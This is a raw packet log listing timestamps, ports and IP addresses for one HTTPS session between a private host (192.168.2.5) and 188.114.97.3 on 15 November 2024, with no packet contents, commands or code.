Nov 15, 2024 01:01:29.326757908 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.326806068 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.326812029 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.326834917 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.326863050 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.327032089 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.327069044 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.327089071 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.327111959 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.327116966 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.327153921 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.531326056 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.531383038 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.955319881 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.955517054 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175154924 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175168991 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175177097 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175246954 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175251007 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175260067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175334930 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175338984 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175354958 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175365925 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175438881 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175445080 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175461054 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175473928 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175479889 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175483942 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175498009 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175549984 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175596952 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175606012 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175642967 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175676107 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175683975 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175699949 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175712109 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175766945 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175770998 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175792933 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175822973 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175837040 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175883055 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175884962 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175905943 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175939083 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.175945044 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175987005 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.175997972 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176009893 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176038980 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176048040 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176095009 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176096916 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176117897 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176143885 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176156044 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176157951 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176179886 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176203966 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176222086 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176223993 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176244974 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176275969 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176282883 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176295996 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176306009 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176333904 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176352978 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176354885 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176376104 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176403999 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176417112 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176425934 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176439047 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176465034 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176479101 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176490068 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176501989 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176528931 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176541090 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176552057 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176563978 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176593065 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176611900 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176614046 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176635027 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.176662922 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176687956 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.176964045 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177006960 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177014112 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177027941 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177051067 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177165031 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177192926 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177201986 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177212000 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177222967 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177237988 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177249908 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177274942 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177300930 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177382946 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177423954 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177443027 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177449942 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177472115 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177494049 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177557945 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177601099 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177614927 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177623987 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177645922 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177658081 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177736998 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177778006 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177797079 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177802086 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177825928 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177834034 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177906990 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177947044 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.177961111 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.177968979 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.178009987 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.178029060 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.178070068 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.178077936 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.178092003 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.178119898 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.178128958 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.499521017 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.499543905 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.499572039 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.499578953 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.499605894 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.499614954 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.499665022 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.499679089 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.499732018 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.499735117 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.499747038 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.499768972 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.499780893 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.499787092 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.499810934 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.499828100 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.499831915 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.499840975 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.499869108 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.499900103 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.499938011 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.499957085 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.499973059 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.500125885 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500140905 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500166893 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.500173092 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500205994 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.500216961 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.500253916 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500267982 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500299931 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.500304937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500336885 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.500390053 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500406981 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500437975 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.500442982 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500454903 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.500478983 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.500586987 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500602007 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500653028 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.500659943 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500721931 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500750065 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500766039 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.500771999 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.500796080 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.500837088 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501022100 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501035929 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501076937 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501085043 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501136065 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501161098 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501180887 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501188040 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501209974 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501233101 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501281977 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501296043 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501332998 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501338005 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501401901 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501419067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501441956 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501450062 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501471043 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501496077 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501689911 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501703024 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501729965 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501734972 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501754999 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501821041 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501837015 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501862049 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501868010 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501890898 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501915932 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501936913 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501951933 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.501987934 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.501995087 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502203941 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502221107 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502254009 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.502259970 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502299070 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.502306938 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.502312899 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502326012 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502366066 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.502372980 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502484083 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.502604961 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502619982 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502667904 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.502674103 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502700090 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.502712011 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.502732992 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502747059 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502782106 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.502788067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502907038 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.502981901 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.502995968 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503027916 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503035069 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503055096 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503068924 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503211021 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503225088 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503267050 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503273010 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503303051 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503344059 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503427982 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503442049 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503482103 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503488064 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503515959 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503528118 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503560066 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503572941 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503598928 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503606081 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503627062 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503643036 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503731012 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503743887 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503777981 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503783941 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.503810883 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.503828049 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.504002094 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.504014969 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.504057884 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.504064083 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.504142046 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.504159927 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.504195929 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.504203081 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.504214048 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.504240990 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.504826069 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.504841089 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.504873991 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.504878998 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.504903078 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.504910946 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.504988909 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505008936 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505032063 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505038023 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505060911 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505079985 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505147934 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505162954 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505192041 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505198002 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505219936 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505234957 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505342007 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505359888 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505395889 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505402088 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505425930 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505431890 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505537033 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505556107 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505580902 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505589008 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505611897 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505626917 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505737066 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505753040 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505790949 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505795956 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.505820036 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505840063 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.505990982 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506007910 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506038904 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.506043911 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506068945 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506069899 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.506084919 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.506097078 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506113052 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506118059 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.506149054 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.506171942 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.506253004 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506264925 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506299973 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.506306887 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506364107 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506402969 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.506403923 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506426096 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:30.506449938 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:30.506544113 CET	443	49868	188.114.97.3	192.168.2.5
